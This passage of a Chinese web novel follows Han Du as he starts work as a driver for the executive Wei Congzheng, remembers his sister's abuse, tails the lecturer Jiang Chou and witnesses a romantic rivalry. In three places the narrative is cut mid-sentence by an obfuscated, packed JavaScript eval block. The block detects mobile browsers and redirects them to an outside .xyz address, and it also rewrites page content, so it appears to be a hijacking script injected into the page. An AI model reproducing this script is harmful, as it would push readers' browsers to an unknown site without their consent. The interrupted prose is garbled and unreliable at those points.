就在韩渡以为此间事情已经告一段落时,这人又忽然开口道:“调岗的事情聊明白了,我们再来清算一下你给我朋友下药的事……”
临走前,魏从峥给韩渡松开绳结,还不忘提醒他:“下次扮演服务生,记得挑件合身的衣服。”
韩渡心里隐约有了猜测,可能问题最开始就是出在那件临时借来的衣服上。
不久,外头有人敲门。
程松打开门,一排的医护人员抬着担架走了进来,先是把屏风里那个昏迷不醒的年轻男人抬了出去,接着是外间几个,其中包括重伤的何安。
最后,一张担架停在了韩渡面前。
韩渡揉捏手腕上的勒痕,拒绝道:“我没事。”他长身而起,兀自向外走去。
走到门口,韩渡这才想起自己还有什么忘记问了,回头看向那个男人:“后面怎么联系?”
“我的助理会找到你。”魏从峥微笑着说。
“你是谁?”韩渡后知后觉问出这个问题。
此时,程松接了个电话,凑近来跟魏从峥说话,魏从峥注意力转到他身上,只是言简意赅地对韩渡说:“吴助理都会告诉你。”
韩渡收回目光,往屋外走去。
屋外,停了一阵子的雪又下起来,银絮满天,无休无止,仿佛要埋掉一整个冬天。
这次集体下药的事件被压了下去。
告诉韩渡这个消息的是魏从峥的助理吴传非,韩渡这才知道,原来当晚程松口中的“峥哥”就是小说的另一位男主人公魏从峥。
魏从峥玩世不恭的眼神在韩渡脑海中浮现,他不禁将这个人与小说中的一些情节对应起来,霎时觉得整件事情太过巧合。
他不过是追踪报复一个书里从来没出现过的人物何安,哪里能想到会碰上主角,兜兜转转半年后,居然又跟剧情主线搭上了关系,实在是匪夷所思。
韩渡此时坐在公司的一间办公室里,玻璃门外,同事们在走廊里穿行。吴传非与他一桌之隔,将桌面上的一份协议推到他面前。
“魏总应该跟你简单提过,他的司机刚离职,正好由你来补这个缺,除了负责魏总的日常出行,还要替他办理一些不便出面的事。”吴传非道,“目前看来,特指跟踪江筹。”
那天魏从峥说的“清算”,就是让韩渡无偿做他两个月的司机。
韩渡低头看向面前的合同,一条条看得很仔细。
见韩渡的视线停留在其中一条上,吴传非解释道:“魏总非常关心您妹妹的情况,发生这样的事,我们都感到很遗憾。为了表示对员工家属的关怀,公司挑选出三家合适的疗养机构,相信对她现在的状况会很有帮助,您可以选个日子带她过去疗养。”
韩渡抬眼看向这位小说中着墨不多的人物。
作为主角爱情故事的背景板之一,吴传非通常出现在各个魏从峥发号施令的场合,因为与魏从峥过从甚密,一度被苏郁明视为假想情敌。从纸片人蜕变成真实的个体之后,再来看这位吴助理,才发现他是真的专业又细致。
韩渡道:“有劳了,这份合同非常有诚意。”
“都是魏总的意思。”吴传非没有居功,“韩先生,这份工作对许多人来说都是个很好的机会,魏总也从来不会亏待手下。现在您的妹妹需要人手照顾,您一个人是忙不过来的,出于这方面考虑,疗养院也是个不错的去处。”
韩渡没有否认他说的话。只是韩卉现在的真实情况只有他最了解,疗养院未必就适合她。而且,无功不受禄,魏从峥做得越周到,他越担心后面是有什么在等着他。
韩渡向吴传非道谢:“魏总的好意我明白了。”
吴传非端起手边的黑咖啡,不再多言,静静等候韩渡翻阅合同,时不时为他解释里面的条款,没有表现出丝毫的不耐烦。
韩渡低头看着一行行的白纸黑色,思绪不由回到了几个月前。
那天,他在公司忽然接到韩卉电话,电话里面泣不成声,还不断喊疼。等他急忙丢下工作赶过去,韩卉已经捂着肚子从一家私人诊所里走了出来。
刺鼻的消毒水气味混合着血腥味从她身上传来,韩渡怔愣着,竟不敢上前碰她。
因为人工流产,韩卉备受打击,不仅身体垮了,精神状况也开始变得不对劲。韩渡几次询问她到底发生了什么事,孩子的父亲是谁,可她完全闭口不提,一问就止不住地流眼泪,甚至歇斯底里地哭叫。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13897217|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
韩渡无可奈何,只好偷偷查看她的手机,首当其冲就是她跟何安的聊天记录。
看完聊天记录,韩渡惊怒至极,当即就从通讯录里找出何安的号码拨了过去。
电话接通后,是何安漫不经心的声音。
“你对小卉做了什么?!”
“我能做什么?腿长在她身上,路是她自己选的,衣服也没人逼她脱。”电话里传出轻浮的笑声,“不信你自己去问她。”说完,何安就挂断了电话。
韩渡攥紧了手机,正要再拨回去,韩卉突然从后面冲过来,一把夺过手机砸在了地上。
而韩卉赤着脚,披头散发地抱着脑袋,嘴里说着叫人听不懂的话。
韩渡连忙扶住她:“到底发生什么事了,你告诉哥哥,哥哥替你想办法。”
“不要,不要,我不要……”韩卉满脸泪痕地望着韩渡,祈求道,“哥,是我不好。”
“你很好。”韩渡将她搂在怀里,温声道,“小卉,是不是何安欺负你了?你告诉我,我帮你讨回公道。”
“不,是我的错。不是,是何安的错,都怪他,是他。”韩卉语无伦次地软倒在韩渡怀里。
“别急,咱慢慢说,你把发生的事都告诉我,我来帮你想办法。”韩渡用手掌心托着她的后脑勺,另一只手轻轻拍打在她后背。
可是韩卉就像失去了语言组织能力,或者说她潜意识在回避发生过的事,并不能把事情的前因后果都跟韩渡讲清楚。
韩渡无奈之下,只好先帮她办理休学。
后来几个月,韩渡除了上班和在家照顾韩卉,就是奔走在警察局、公诉机关、律师事务所等等地方,搜集证据、报案、跟何安争执……但是事与愿违,证据太少,受害人又神智不清,报案进展极其不顺利。久而久之,警察那边的态度也越来越敷衍。
又一次从警局出来,韩渡几乎形成肌肉记忆地开车来到了韩卉学校。学校里正是深秋风景,道路两旁的红叶如火烧般灼目,年轻人三五成群地走在校园里,与形单影只的韩渡擦肩而过。
韩渡问了好几个学生,终于在学校礼堂找到了何安。
何安一袭简单的白衬衫,正在礼堂后台调试摄像设备。见到韩渡,他表情十分厌恶:“怎么又是你?”
“小卉当时怀孕了,你知道吗?”韩渡目不转睛地看着他。
何安皱起眉,接着说出了让韩渡惊讶的话:“你以为孩子是我的?”
“还能是谁的?”
“那太多了。”见韩渡神情错愕,何安意识到自己多嘴了,于是不耐烦地说道,“我都说了你妹的事跟我没关系,是她自己下贱,你自己的妹妹,你自己不了解吗?”
“既然跟你没关系,你为什么不敢来看她,还有你们的聊天记录,你怎么解释?”
“我为什么要解释?是她自己要跟我出来见世面,成年人都知道这是什么意思,她又不傻,你没看她积极得很吗?”何安露出挑衅的笑容,“像你们这种底层出身的人,哪个不是千方百计要往上爬?小卉她想跳舞,她想要更大的舞台,那她自然要接受等价交换,机会就放在她面前,她想搏一搏,有错吗?我给她提供机会,我有错吗?是她自己没本事,怀了野种都没搏成功。”
韩渡脸色极为可怕地盯着他。
何安恼恨他这种表情,同时又有股暗爽涌上心头,不由向前走了几步,几乎贴着韩渡的耳朵,饱含恶意地说道:“在燕城,你们这种人活该被打,被打了还不吸取教训,送上门来给人玩。玩就玩了,不要事后又一副玩不起的样子,当了婊子还要立牌坊。”
说完,何安扶了扶眼镜,挪正自己手腕上擦得剔透的机械表:“我忙得很,先失陪了。”
11. 新工作
深冬的清早,城市刚刚苏醒,天还黑沉沉的,没有一丝晨光从地平线钻出来。
韩渡被手机铃声闹醒,他探手拿起放在枕边的手机,接通后唤道:“妈。”
听着电话那边的声音,他睡意渐消,掀开被子下床,走到窗边。对面的居民楼还在沉睡中,只有零星几户灯光点亮。
“小卉先跟我住着,等过段时间她好点了,我再送她回去跟你们住。”
“您不用过来,燕城这边气候太冷。您要是实在不放心她,就明年开春过来吧。”
电话里,父母忧心忡忡的话不知不觉中也感染了韩渡,他眺望沉浸在黑夜中的城市,心里像笼了一层密不透风的阴霾。
来到卫生间,韩渡看着镜子里的自己,摸了摸下巴上新冒出的胡茬,拿出剃须刀清理了一下。
简单洗漱后,他进厨房开火煎了两只鸡蛋,将昨晚定时熬制的小米粥盛出两碗,最后拿出一碟咸菜。
来到次卧,韩渡轻轻敲门:“小卉,早饭做好了。”
房间里没人应声,韩渡已经习惯了这样的场景。他继续叮嘱道:“今天我要出去上班,可能很晚才回来,你要是饿了,电饭煲里有煮好的粥。”
吃完早饭,韩渡将碗碟清洗干净,穿上外套便出了门。
按照吴传非事先发给他的地址,他一路来到市中心一处高档小区。
小区里沿路栽满了密密匝匝的柏树,因为养护得当,在这样的季节里依然繁茂葱郁。道路两旁,有清扫出来的成堆的积雪,间或能看见几只垒起来的雪人,为这样肃杀的季节平添几分俏皮。
魏从峥住在一栋双层小洋楼里,小楼外砖是浅褐色的,砖纹很别致。韩渡与吴传非站在楼下的庭院门口,抬头就能看见二层围着欧式铁栅栏的露台。
吴传非早已在此等候多时,见韩渡到了,先是问候了他的身体状况,接着同他交代了一些工作注意事项。
“……代表公司出席活动和私人行程,要用不同的车。”将车库钥匙递给韩渡,吴传非继续说:“魏总在燕城有好几处房子,这里是距离公司最近的一处,偶尔他也会外宿,这些地址你都要记清楚。另外,保持电话二十四小时畅通。”
韩渡从他手中接过钥匙。
“司机虽然没有硬性着装要求,但我还是希望你能尽可能穿有领子的衣服,当然,西装是最好的。”
韩渡点头:“重要场合我会注意。”
两人没在院子里等多久,一刻钟之后,魏从峥眉眼阴沉地从房子里走了出来。
吴传非立即走上前问好,为他拉开车门。
魏从峥径自往这里走来,瞥了眼第一次出现在这里的韩渡,什么也没说,低头在后排落座。
吴传非指示韩渡去开车,自己则坐进了副驾。
韩渡坐定,发动引擎,余光一瞥后视镜,见魏从峥依然黑着张脸,浑身弥漫着低气压。
一早上气性就这么大?
吴传非介绍道:“魏总,从今天开始,由韩渡来给您开车。之前的老周,我已经让他回家了,您放心,一切已经安排妥当。”
“你做事我一向放心。”魏从峥脸色缓了缓,对他的工作表示肯定。
一路上,吴传非先是向魏从峥汇报工作,汇报完后又开始简述今明两天的行程安排。
谈到工作,魏从峥态度并不敷衍,时而会跟吴传非沟通两句,与那晚留给韩渡的印象大相径庭。
吴传非的汇报不知何时告一段落,三人正安静时,魏从峥的手机震动了起来。
魏从峥拿起手机,看了眼屏幕,随后面无表情地将电话掐断。
半分钟后,手机再次震动。这回,魏从峥看也没看就掐断了来电。
没过多久,第三通电话不屈不挠地打过来了。
“你有完没完?”魏从峥终于接起电话,只是语气非常不客气。
不知道电话那头说了什么,韩渡觑了眼右手边的吴传非,只见对方一副习以为常的样子,不动声色地望着窗外。
魏从峥一手接着电话,另一只手松了松衬衫纽扣:“我不想听你狡辩。”
窗外,渐渐有车流汇进主干道,韩渡打了个转向灯,准备转弯。
“苏郁明,你是把我当傻子吗?”
魏从峥说话的声音与车外鸣笛声交织在一起,清早独有的寂静逐渐褪去。
“这些话我已经听腻了,如果没什么新鲜东西,我就先挂了。”
前方路口的绿灯跳动着变成红色,韩渡轻踩刹车,车速缓缓降下,平稳地停在了白线后。
吴传非轻声点评:“不错,你开车很稳。”
韩渡笑了笑:“谢谢。”
魏从峥的目光在韩渡侧脸一扫而过,看向窗外:“行,那我等着。”
电话挂断后,魏从峥叮嘱吴传非:“把明晚空出来。”
“是,魏总。”吴传非侧身点头。
“韩渡?”魏从峥又看向韩渡。
“您有什么吩咐?”
“傍晚来公司接我,其余时间,你去盯住江筹,有什么情况及时跟我汇报。”
“好的。”韩渡点头。
不久,韩渡将二人送到公司楼下,目送他们下车后,独自上路前往燕城大学。
根据吴传非之前交给他的材料,任务目标江筹出生在一个中产阶级家庭,父亲是一名商人,母亲在银行上班。江筹自小品学兼优,高中毕业后进入了全国知名学府燕城大学,本科毕业又远赴海外深造,今年年初刚回国,目前在燕城大学担任地质学讲师,疑似跟苏郁明交情不浅。
一位普通的大学讲师自然没有什么好探查的,魏从峥的意思,是让他重点关注江筹和苏郁明的来往,一旦发现有什么风吹草动,立刻跟他汇报。说的通俗点,就是让韩渡去当“眼线”,替他“捉奸”。
韩渡不禁感慨,两位主角之间的信任就像纸扎的灯笼,随便来点火星子,就能烧出个大窟窿。谈恋爱谈成这种样子,有什么滋味?
胡思乱想间,韩渡已经来到了江筹所在的教职工宿舍。
燕城大学的教职工宿舍区距离校区仅有一街之隔,街上多是蹬着自行车的稚嫩面孔。
韩渡找了个地方将车停好,路过门卫亭时,里面看守的大爷正抱着保温杯喝茶。
“大爷,跟您打听个事。”他往窗户缝里递进去一根烟。
“啥事儿?”大爷看着精神矍铄,熟练地接过烟。
“江筹老师住哪栋您知道吗?”
“不认识,新来的吧。”
“对,今年刚住进来。”
“新来的都住那栋。”大爷打开保安亭的半扇门,指着不远处
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13897218|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一栋宿舍楼。
韩渡沿着沥青步道走到那栋楼下,楼道对面不远处,有一片凋零得光秃秃的枯瘦树林。他在树林里一张长椅上坐下,开始守株待兔。
时间一分一秒过去,韩渡不时望一眼灰白的天空,终于在十点钟左右等到了江筹。江筹长得眉清目秀,瘦长如条,身上有股儒雅的学者气质,背着一只黑色双肩包,裹了一袭灰色大衣,步履稳健地从楼道里下来。
韩渡又看了眼手机里的照片,确认此人是江筹无误后,悄然跟在了其身后。
进入校园内,人流逐渐密集了起来,一路上陆续有学生同江筹问好,江筹总是脾气很好地点头微笑,不厌其烦。
韩渡混在人群中,不远不近地缀在后面,有时看向那些朝气蓬勃的学生,不由自主地想起韩卉。事情没发生前,她可能也像这些学生一样,无忧无虑地在校园里学习、生活,而世界上那些残酷的事情,距离那时的她还很遥远。
摇了摇头,韩渡甩开这些让人愁苦的想法,专心跟踪江筹。
江筹脚步很快,一路进入到教学楼。乘坐电梯来到第七层的某间小教室。
教室很小,只能容纳四十号人左右,如果江筹对自己的学生都很熟悉的话,韩渡这张生面孔一定会被他关注到。
韩渡从衣兜里拿出一本笔记本,神情自然地走进教室,在倒数第二排寻了个位置坐下。
“这节课开始之前,先请大家看一张图。”上课铃响后,江筹调出PPT,一块拍得不是很漂亮的岩石出现在教学幕布上。“一周前,我跟朋友一起去登山,在山上看到了很多有意思的景色,这就是其中一处。有没有人能告诉我,这张图反映了哪种地质作用?”
韩渡这种门外汉自然不懂,但是看学生们争先恐后回答的模样,这兴许是个常见问题。
“对,看来大家之前的内容学得不错。这确实是一连串的侧蚀凹槽。”江筹很欣慰地说,“通常情况下,这种地貌是古河流侧向冲刷河床的凹岸形成的,这里一共有五个凹槽,不同高度的侧蚀凹槽意味着这片区域曾发生过间歇性隆升,这些凹槽目前已经在距离河面很高的位置,其中的变化,用沧海桑田来形容也差不多了。”
“我们人类的寿命非常短暂,而山林湖海却能亘古长存,地质学的浪漫就在这里,我们能发现这些人类无法用寿命去观测、记录的东西。这只是我身边的一例小事,上完这堂课后,我希望你们也能善于发现身边的地质现象,逐渐体会到这里面的乐趣。”江筹注视着那张照片,最后说了句逗趣的话,“当然,大家的拍照技术一定比我强多了。”
在座的学生纷纷笑起来。
气氛简单活跃了之后,这堂课正式开始了。
一节课五十分钟左右,江筹这门课两节连上,等到正式下课,已经是中午12点。
下课之后,许多学生仍然意犹未尽地跑到讲台上,围着江筹请教问题。江筹年龄和他们相差不大,性格也可亲,跟他们交流得很融洽。
韩渡收起记了两页纸的笔记本,倒没有围上去,而是静静走出了教室,在一侧不起眼的角落等候着。
此后,他像道影子一样跟着江筹,在食堂用餐、在操场锻炼。江筹去教研室工作的时候,他就在楼下花园散步。
临近傍晚,韩渡悄然转身,离开了燕城大学。
12. 三角关系
燕城郊区的一座私人机场内,韩渡站在巨大的斜面落地窗前,俯视正在地面跑道上滑行降落的飞机。
前阵子雪太大,许多航班都延误或取消了,不知道那会儿,这里的私人飞机是不是还能正常起飞。韩渡百无聊赖地想着。
这里是一座被群绿掩映的小型机场,周围几乎没有住户,人迹罕至,只有鸟啼虫鸣和不远处高速公路上飞驰的引擎声偶尔打破这片宁静。
昨天傍晚,韩渡在公司接上魏从峥,将对方送来这里,对方嘱咐他24小时后再来这里接机。
韩渡望着已经抵达的飞机,将手中见底的速溶咖啡丢进垃圾桶,往接机口走去。
刚从飞机上下来的魏从峥还有些意兴懒散,头发凌乱,衣服也穿得松松垮垮,看到韩渡之后,他浅浅一笑:“这几天工作还习惯吗?”
“托您的福,一切都好。”韩渡回答着从他手中接过行李箱,在前方带路。
“江筹那边呢?”
“江筹这些天都在学校和教研室活动,没有跟苏先生见过面。”
“不错,继续盯着。”魏从峥表扬了一句。
言谈间,两人朝机场的出口走去,魏从峥看了眼室外天色:“不用回公司了,直接送我去上回的兰溪水榭。”
兰溪水榭正是此前韩渡潜入的会所,不用魏从峥多作吩咐,韩渡对那里的地址了然于胸。
机场位于燕城的西北部,距离兰溪水榭有一段车程,魏从峥从上车后就开始办公,微亮的电脑荧光投射在他脸上,他时而浏览电脑,时而腾出手接听不断涌进的工作电话。
车载音箱里播放着恬淡舒缓的音乐,韩渡专注地看着挡风玻璃外的路况,只是在偶尔之间,会透过后视镜往后排看一眼。
一路上,天光渐暗,城市的霓虹灯渐次亮起,衬得月光寒白如霜。
差不多一小时后,黑色商务车缓缓停在了一处熟悉的老地方,只是这回,不用韩渡再出示他那张托人制作的假证,门口安保人员在看清楚车牌号后,顺利放他们通行,还热情地向韩渡这位“司机”打招呼。
将车停在入口不远处,韩渡静静等候魏从峥下车。
魏从峥将电脑合上,放在一边,揉了揉干涩的眼睛,对韩渡说:“你先找个地方把车停好,然后进院子里等着。”
“好的。”韩渡回答,目送魏从峥下车。
兰溪水榭有专门的地下停车场,空间不大,只停放着四五辆名贵豪车。
韩渡找了个车位熄灭发动机,没有急着下车,而是坐在里面,从副驾的手套箱里拿出一块平板。
两个月的时间说短不短,说长也不长,“清算”结束后,海恒制药也不是合适的去处了,韩渡心里隐约有着紧迫感,他必须尽快找到下一份工作。
对于今后要从事哪方面的职业,他态度十分谨慎。尽管脑海中已经初步有了些想法,但还远远不够。
韩渡打开平板,开始浏览各类求职网页、论坛。
不知过了多久,忽然有人从地上入口走下来,看身形是个瘦得几近不健康的青年人,戴着帽子和口罩。韩渡的注意力被吸引过去,因为自己有过“前科”,不禁觉得这个人的动作也有些鬼祟。
只见那人在车库里环视了一周,似乎在寻找什么,紧接着大步朝韩渡所在方向走来。
韩渡将手中的平板缓缓放在膝上,盯着来人。待人走近,他有些诧异地发现,居然还是位熟人。
尽管这人遮得严严实实,只露出了一双眼睛,但韩渡还是辨认出了他的身份:薛子航怎么会出现在这里?
疑惑间,薛子航已经来到了玻璃窗前,伸手敲了敲车窗。
韩渡正在考虑要不要按下车窗,只见薛子航慢慢将眼睛贴在了车窗上,试图分辨里面有没有人。
“魏总?”他低声试探道。
韩渡一愣:他没看到我?还是说把我认成了魏从峥?
久久没有等到答复,兴许是以为车里没人,薛子航颇为烦躁地嘴里发出两句咕哝,直起身子,抬手压了压帽沿,接着就转身离开了。
韩渡凝神看着他离开的背影,心里疑惑更深:所以薛子航到底是来做什么的?他要找魏从峥干嘛?
薛子航走后不久,韩渡也收起平板,按照魏从峥的吩咐,下车前往兰溪水榭。
依然是那间四合小院,院中央颇费心思地打造了一汪一米见深的池子,假山上有涓涓细流沿着石缝往下滑,经过蜿蜒的溪道,最终汇入水池。
韩渡在院子里逛了两圈,走到湖心亭,发现石桌上摆着一张下了一半的棋盘。他闲心上来,站着观摩了一会棋局。
夜风呼呼作响,在亭柱间肆意穿梭,不多时,走廊处传来急促的脚步声。
韩渡抬眼望去,走在前面的是魏从峥,追在后面的是一个身量纤长,长得白皙净秀的年轻男人。前者紧绷着脸,一副生人勿近的模样,后者则面色焦急,眼里含着委屈。
魏从峥扫视一眼院子,发现韩渡之后,朝他走过来。
魏从峥走得不慢,奈何苏郁明追得更快,在他刚踏上湖心亭之际,赶上来紧紧拉住了他的衣袖。
“松手。”魏从峥沉声道。
苏郁明摇头,紧盯着魏从峥:“我跟荣逸飞真的没什么,他是拿我当朋友,才多照顾我一点。你也知道,我心里……”后面的话对苏郁明来说似乎非常难以启齿,他脸憋得通红,迟迟没能说下去。
见他如此情态,魏从峥眸光微动,转身看住他:“你心里什么?”
“我……”苏郁明被他露骨的眼神看得一阵羞恼,已经到了喉咙口的话却怎么也不好意思说出来,只愈发用力地攥紧了手里的衣袖。
一缕失望不着痕迹地在魏从峥眼中闪过,他收回目光,嗤声自嘲道:“我到底在期待什么。”
听到这话,苏郁明神色乍然有些慌乱:“你明知道我的心意。”
“我不知道。”魏从峥脸上挂着笑,眼里却冷冰冰的,他甩开苏郁明的手,寒声道,“先是什么青梅竹马,现在又跟荣逸飞纠缠不清,苏郁明,苏大明星,你的心意没有人能看懂。”
苏郁明还要说什么,魏从峥看也不看地低骂道:“滚!”
苏郁明被他吓得一怯,不由松开了手。
魏从峥对韩渡说:“我们走。”说着向院外走去。
韩渡噤若寒蝉,跟着离开了亭子。
两人快步来到停车场,魏从峥含怒的脚步声在地下空间回荡,他一言不发,韩渡也很有眼色地没有开口。
“阿峥!”眼看二人即将上车,一道
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13897219|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人声迅速由远及近地追来。
韩渡望去,来人高大英俊,长眉朗目,先是把魏从峥喊住,随后赶上来,在距离魏从峥两步的地方停下。
魏从峥转身看他,眼神不善。
“我们谈谈。”荣逸飞没有被他的眼神劝退。
“没什么好谈的,我现在不想看到你。”不同于荣逸飞的严肃,魏从峥语气显得散漫而不耐烦。
“听不听是你的事,我必须把话说清楚。我跟苏郁明没什么,我只是看他被人欺负,出于朋友的立场,出手帮了他一把。”
“帮了他一把?”魏从峥笑道,“要不要我帮你数数,找房子算一桩,送资源也算一桩,据说你们还住进了同一个单元?”
“恰好前不久我要搬家,打听到附近有几套闲置的房子,就顺手推荐给他了。”荣逸飞解释道,“送资源的事,也只是顺手,苏郁明适合那个角色,对我来说只是一句话的事,没有你想的那么复杂。”
“那他喝醉了喊你的名字是怎么回事?”魏从峥摆了摆手,咄咄逼人地问。
荣逸飞嘴唇翕张,他能为自己的一系列行为找到理由,面对这个问题却哑口无言,最后只是说道:“他只拿我当朋友。”
“你也只拿他当朋友吗?”魏从峥淡淡地看着自己这位好兄弟。
荣逸飞怔怔望着他,嘴角苦涩地牵了牵:“你说话永远这么不留余地。”
魏从峥问:“什么时候开始的?”
“这种事,怎么能说得清楚。”荣逸飞移开目光,“但是你放心,我从来没想过要跟你争,苏郁明他……也只喜欢你,我不会介入你们之间。”
魏从峥却对这样的回答并不满意,他将手掌放在荣逸飞肩膀上,使劲拍了拍:“想什么呢?我让你退出了吗?”
荣逸飞诧异地看他。
魏从峥笑了笑,无比的自信:“你是我最好的兄弟,我不会忽视你的感受,以后再有这样的事,你不用瞒着我委曲求全。你既然喜欢苏郁明,那我们争一争又有何妨,我自信不会输得难看,即使是输了,也不是什么大事。”
好半晌,荣逸飞终于琢磨过来,他轻声道:“你原谅我了?”
“我有什么立场指责你?”魏从峥问道。
“他只是缺乏安全感,不确定你能不能给他想要的。你也知道,他小时候经历了那些事,心防很重……”
“我不想听这些。”魏从峥打断他的话,一听到关于苏郁明的事,他的脸色又变得难看起来。
韩渡站在一旁的阴影中,安静地观察着这一切。两人谈话并不特意回避韩渡,韩渡却很有眼色地走远了些,尽管如此,他们说话的内容依然一字不漏地进了他的耳朵。
这段对话与书中情节没有很大出入,同时也慢慢唤醒了韩渡对原著的一些记忆。
魏从峥此时此刻的态度基本奠定了未来多角恋的故事格局,眼下他还能如此“大度”,可是情节越往后发展,就有越多的事情超出他的控制,直到局面彻底失控,这本小说也就发展到了下一个阶段。
韩渡回忆着故事情节,直到一阵凌乱的脚步声将他的思绪拉回现实。
地下停车场连通地上的甬道处,有三人疾步走下来,首当其冲的是一对男女,苏郁明稍落后一步,跟在后面。
13. 阻力
郭子期一个箭步冲进魏从峥和荣逸飞之间,正要劝和,见二人都神色和缓,没有争执过的迹象,意外之余也是松了口气:“看来话都说明白了,不需要我们操心。”
“没看到我们打架,你很失望?”魏从峥嫌弃地伸出一根手指推开他。
“说话真是不好听,白关心你了。”郭子期眼皮一掀,给了他一个白眼,又看向荣逸飞,“我就说了,咱们穿一条裤子的交情,有什么话不能坐下来好好说,没什么是过不去的嘛。”
荣逸飞不欲多谈,与魏从峥对视一眼,揽住郭子期的肩膀:“你说得对,现在已经没什么事了。走,咱们回去再喝几杯,也别让大家在这边站着了。”
“行啊,再喝几杯,今天这事儿就算翻篇。”郭子期大声嚷嚷,招呼众人回去。
一旁,苏郁明与郭子期的女友孙星桥站在一处,孙星桥向郭子期走去,苏郁明则一双眼睛黏在了魏从峥身上。
魏从峥只当没看到他,对众人说:“你们继续,我累了,就先回去了。”他转身向远处的韩渡招手:“上车吧。”
“别啊,难得大家到得这么整齐,你刚来就要走,可说不过去。”郭子期上前要拉住他。
荣逸飞拦住郭子期的手,笑道:“他刚出差回来,累也是正常。”
“好啊,这么快就开始替他说话了。”郭子期跳脚。
韩渡从角落走出来,绕到车前,为魏从峥打开车门。
苏郁明似乎刚注意到韩渡这张新面孔,目光不由在韩渡脸上停留了两秒,显得有些疑惑。不过他很快就无暇他顾了。
荣逸飞走到苏郁明面前,欲言又止,见他站在原地不动,以为他仍然在胆怯,便低声说了一句:“有些话只能你自己说。”
苏郁明缓缓看向荣逸飞,不再迟疑,快步上前拦住了正要上车的魏从峥。
他的手牢牢卡在车窗边缘:“从峥,我……你先别走,我还有话要跟你说。”苏郁明巴掌大的脸上因激动泛起红晕,他紧张地望着魏从峥。
魏从峥依然没有看他:“下回再说。”
“不会占用你很多时间。”苏郁明急切地说。
“韩渡。”魏从峥侧头,向韩渡抬了抬下巴。
韩渡暗恼,硬着头皮对苏郁明说:“苏先生,魏总傍晚刚下飞机,有什么事咱们不如回头再说。”
“你是谁?”
“我是魏总的司机。”
“魏从峥,不要用别人来打发我,我就在你面前,有什么话你直接跟我说。”苏郁明脸色倔强地盯着魏从峥,不满之中还夹杂着委屈。
“你不怕被人看笑话,就一直这么拦着吧。”魏从峥终于将目光放在苏郁明身上,只是态度依然冷酷。
“这里没有外人,我不怕。”苏郁明大喊。
这时,有人凑到韩渡身边,笑着说:“韩渡是吗?初次见面,要一起上去喝点吗?”
韩渡扭头看他,眼神奇怪。
“走吧,把这里留给他们小情侣。”郭子期不由分说地掰过韩渡肩膀,将人带离现场。
韩渡顺水推舟地松开手,离开前,他看了眼魏从峥,发现这位老板正与苏郁明旁若无人地对峙,便放心地跟着众人离开了车库。
兰溪水榭中,与上回不同的雅间内,四人围绕矮桌席地而坐。
简单互相介绍后,韩渡终于将每张脸跟各自的身份对上了。荣逸飞、郭子期都是男主魏从峥的挚友,前者同时也爱慕着苏郁明,是小说里的重量级男配。在场唯一的女性是郭子期的女友孙星桥,二人会在剧情后期完婚。
郭子期亲自为韩渡倒酒,笑着说:“这里的酒都是我们珍藏的,以往都囤在这里,今天既然来了新朋友,怎么也要尝尝。”
韩渡婉拒道:“我还要给魏总开车。”
“开车重要还是喝酒重要?”郭子期晃了晃手指,笑得不怀好意,“你尽管喝,到时候让魏从峥反过来给你开车。”
“这不合适吧。”
“没什么不合适的,你相信我们。”郭子期一边打着包票,一边把酒杯塞进韩渡手里。
韩渡不好再推辞,几杯酒下去,席间的气氛顿时热了起来。
“要说这酒啊,还是自己带来的喝着放心。上回不知道是哪个傻逼玩意儿,在我们喝的酒里下了药。”郭子期骂骂咧咧地捶桌子,“他老魏和老程啥事没有,偏偏就我中了招,这下弄得我很抬不起头。”
孙星桥捂着嘴巴笑。荣逸飞也笑着调侃:“你也有赢了他们的,比如你的抗药性,肯定就胜他们一筹了。”
韩渡也被逗笑了,他这才知道,原来当初屏风后头的第三个人就是眼前的郭子期。看现在的状况,魏从峥和程松应该是没有把韩渡这个始作俑者给抖出来。
郭子期还在那捶胸顿足,唱足了戏。
“对了,提到程松,他是离开燕城了吗?”孙星桥问道。
荣逸飞点头,解答说:“他回去了,听说这回是出海了。”
“出海?去哪里?要去多久?”
“我也不清楚,可能要先在海上漂一阵子。”荣逸飞温和地说,“不用担心他,他现在每天海钓打牙祭,日子过得很滋润。”
“这我就放心了。”
“你有这闲心,不如多关心关心我吧。”郭子期埋怨道,“我这么个大活人坐在你旁边,你眼睛都不带斜一下的。”
“来了来了,这就给你倒酒。”孙星桥笑着给他酒杯满上。
郭子期心满意足地笑了,端起酒去碰荣逸飞的杯子:“逸飞,来。”
荣逸飞回敬他,将酒杯放在唇边啜了一口。
“诶。”郭子期醉意上来,语气虚浮道,“你说你们,这都是什么事儿啊。”
